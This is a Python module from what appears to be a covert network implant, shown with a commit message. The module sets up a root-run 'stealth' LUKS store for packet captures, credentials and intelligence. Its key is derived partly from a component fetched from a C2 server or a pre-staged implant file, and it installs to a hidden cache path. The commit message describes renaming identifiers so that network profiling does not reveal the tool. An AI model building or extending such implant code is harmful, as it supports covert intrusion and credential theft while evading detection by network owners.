ffd384f64b
Replace all sensor.* logger namespaces with __name__ (generic module identifiers instead of discoverable 'sensor.*' prefixes). Change hardcoded 'bb' API user to 'admin' in config and code defaults. Change hardcoded relay_user 'bb' to 'operator' — prevents network profiling from exposing tool identity via SSH config. Fixes #457, #458, #459
297 lines
11 KiB
Python
297 lines
11 KiB
Python
#!/usr/bin/env python3
|
|
"""Encrypted storage module — LUKS container for all persistent data.
|
|
|
|
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
|
|
intelligence data. Key derivation attempts a network-derived key first
|
|
(HKDF with CPU serial + C2-fetched component), falling back to a config
|
|
passphrase if C2 is unreachable.
|
|
"""
|
|
|
|
import json
|
|
import logging
|
|
import os
|
|
import shutil
|
|
import subprocess
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
from utils.crypto import LUKSContainer, derive_network_key
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
# Subdirectories created inside the mounted LUKS container
|
|
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
|
|
|
|
|
class EncryptedStorage(BaseModule):
|
|
"""LUKS encrypted storage with network-derived key unlock."""
|
|
|
|
name = "encrypted_storage"
|
|
module_type = "stealth"
|
|
priority = -500 # Highest — other modules depend on storage
|
|
requires_root = True
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._luks: Optional[LUKSContainer] = None
|
|
self._mounted = False
|
|
self._storage_path: Optional[str] = None
|
|
self._container_path: Optional[str] = None
|
|
self._passphrase: Optional[bytes] = None
|
|
self._using_fallback_key = False
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
|
self._storage_path = os.path.join(install_path, "storage")
|
|
|
|
container_rel = self.config.get("security", {}).get(
|
|
"luks_container", "storage/encrypted.luks"
|
|
)
|
|
self._container_path = os.path.join(install_path, container_rel)
|
|
|
|
# Derive passphrase
|
|
self._passphrase = self._derive_passphrase()
|
|
|
|
# Initialize LUKS container
|
|
mapper_name = "bb_storage"
|
|
self._luks = LUKSContainer(
|
|
container_path=self._container_path,
|
|
mount_point=self._storage_path,
|
|
mapper_name=mapper_name,
|
|
)
|
|
|
|
# Create container if it doesn't exist
|
|
if not os.path.isfile(self._container_path):
|
|
logger.info("Creating new LUKS container at %s", self._container_path)
|
|
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
|
|
size_mb = self._get_container_size()
|
|
if not self._luks.create(size_mb, self._passphrase):
|
|
logger.error("Failed to create LUKS container")
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
# Format the filesystem inside the container
|
|
if not self._format_filesystem():
|
|
logger.error("Failed to format LUKS filesystem")
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
# Open and mount
|
|
if not self._luks.is_open:
|
|
if not self._luks.open(self._passphrase):
|
|
logger.error("Failed to open LUKS container — wrong key?")
|
|
self.state.set_module_status(self.name, "error")
|
|
return
|
|
|
|
self._mounted = True
|
|
|
|
# Create subdirectories
|
|
self._create_subdirs()
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
|
|
|
key_type = "fallback" if self._using_fallback_key else "network-derived"
|
|
logger.info(
|
|
"EncryptedStorage mounted at %s (key: %s)",
|
|
self._storage_path, key_type,
|
|
)
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
# Sync filesystem
|
|
try:
|
|
subprocess.run(["sync"], capture_output=True, timeout=10)
|
|
except subprocess.SubprocessError:
|
|
pass
|
|
|
|
# Unmount and close LUKS
|
|
if self._luks and self._luks.is_open:
|
|
if not self._luks.close():
|
|
logger.warning("Failed to cleanly close LUKS container")
|
|
|
|
self._mounted = False
|
|
self._running = False
|
|
|
|
# Scrub passphrase from memory (best effort)
|
|
if self._passphrase:
|
|
self._passphrase = b"\x00" * len(self._passphrase)
|
|
self._passphrase = None
|
|
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("EncryptedStorage unmounted and closed")
|
|
|
|
def status(self) -> dict:
|
|
result = {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"mounted": self._mounted,
|
|
"using_fallback_key": self._using_fallback_key,
|
|
}
|
|
|
|
if self._mounted and self._storage_path:
|
|
try:
|
|
stat = os.statvfs(self._storage_path)
|
|
total = stat.f_blocks * stat.f_frsize
|
|
free = stat.f_bavail * stat.f_frsize
|
|
used = total - free
|
|
result["container_size_mb"] = total / (1024 * 1024)
|
|
result["used_mb"] = used / (1024 * 1024)
|
|
result["free_mb"] = free / (1024 * 1024)
|
|
except OSError:
|
|
pass
|
|
|
|
return result
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def get_storage_path(self) -> Optional[str]:
|
|
"""Return the mount point for the encrypted storage, or None if not mounted."""
|
|
return self._storage_path if self._mounted else None
|
|
|
|
def get_subdir(self, name: str) -> Optional[str]:
|
|
"""Return the path to a named subdirectory inside encrypted storage."""
|
|
if not self._mounted or not self._storage_path:
|
|
return None
|
|
path = os.path.join(self._storage_path, name)
|
|
return path if os.path.isdir(path) else None
|
|
|
|
# ------------------------------------------------------------------
|
|
# Key derivation
|
|
# ------------------------------------------------------------------
|
|
|
|
def _derive_passphrase(self) -> bytes:
|
|
"""Attempt network-derived key first, then fall back to config passphrase."""
|
|
# Try network-derived key: HKDF(CPU serial + C2 component)
|
|
cpu_serial = self._get_cpu_serial()
|
|
c2_component = self._fetch_c2_key_component()
|
|
|
|
if c2_component:
|
|
try:
|
|
key = derive_network_key(
|
|
network_secret=c2_component,
|
|
device_serial=cpu_serial,
|
|
)
|
|
self._using_fallback_key = False
|
|
logger.debug("Using network-derived LUKS key")
|
|
return key
|
|
except Exception as exc:
|
|
logger.warning("Network key derivation failed: %s", exc)
|
|
|
|
# Fallback: use a config-based passphrase
|
|
self._using_fallback_key = True
|
|
logger.info("C2 unreachable — using fallback LUKS key")
|
|
|
|
# Derive from CPU serial + static salt (still better than plaintext)
|
|
fallback_salt = b"bb-fallback-luks-key-v1"
|
|
import hashlib
|
|
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
|
|
|
|
def _get_cpu_serial(self) -> bytes:
|
|
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
|
|
# Try /proc/cpuinfo Serial field (RPi, OPi)
|
|
try:
|
|
with open("/proc/cpuinfo", "r") as f:
|
|
for line in f:
|
|
if line.strip().startswith("Serial"):
|
|
serial = line.split(":", 1)[1].strip()
|
|
return serial.encode("utf-8")
|
|
except (IOError, IndexError):
|
|
pass
|
|
|
|
# Try machine-id as fallback
|
|
try:
|
|
with open("/etc/machine-id", "r") as f:
|
|
return f.read().strip().encode("utf-8")
|
|
except IOError:
|
|
pass
|
|
|
|
# Last resort: hostname-based
|
|
import socket
|
|
return socket.gethostname().encode("utf-8")
|
|
|
|
def _fetch_c2_key_component(self) -> Optional[bytes]:
|
|
"""Attempt to fetch the key component from C2.
|
|
|
|
Returns None if C2 is unreachable. The actual C2 client
|
|
will be provided by the connectivity module.
|
|
"""
|
|
# TODO: implement actual C2 key fetch via connectivity module
|
|
# For now, check if a pre-staged key file exists (deployed with implant)
|
|
key_paths = [
|
|
"/opt/.cache/bb/config/luks_network_key",
|
|
os.path.expanduser("~/.implant/luks_network_key"),
|
|
]
|
|
for path in key_paths:
|
|
try:
|
|
if os.path.isfile(path):
|
|
with open(path, "rb") as f:
|
|
data = f.read(64)
|
|
if data:
|
|
return data
|
|
except (IOError, PermissionError):
|
|
pass
|
|
|
|
return None
|
|
|
|
# ------------------------------------------------------------------
|
|
# Container setup
|
|
# ------------------------------------------------------------------
|
|
|
|
def _get_container_size(self) -> int:
|
|
"""Determine LUKS container size in MB based on available disk."""
|
|
try:
|
|
stat = os.statvfs(os.path.dirname(self._container_path))
|
|
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
|
|
# Use 70% of free space, max 8GB, min 256MB
|
|
size = int(free_mb * 0.7)
|
|
return max(256, min(size, 8192))
|
|
except OSError:
|
|
return 1024 # Default 1GB
|
|
|
|
def _format_filesystem(self) -> bool:
|
|
"""Open the container and format it with ext4."""
|
|
try:
|
|
# Open LUKS to get the mapper device
|
|
if not self._luks.open(self._passphrase):
|
|
return False
|
|
|
|
# Format with ext4 (no journal for SBC — reduce writes)
|
|
subprocess.run(
|
|
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
|
|
check=True, capture_output=True,
|
|
)
|
|
|
|
# Close — will be reopened in start()
|
|
self._luks.close()
|
|
return True
|
|
except subprocess.CalledProcessError as exc:
|
|
logger.error("mkfs.ext4 failed: %s", exc)
|
|
return False
|
|
|
|
def _create_subdirs(self) -> None:
|
|
"""Create standard subdirectories inside the mounted storage."""
|
|
for subdir in STORAGE_SUBDIRS:
|
|
path = os.path.join(self._storage_path, subdir)
|
|
os.makedirs(path, exist_ok=True)
|
|
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
|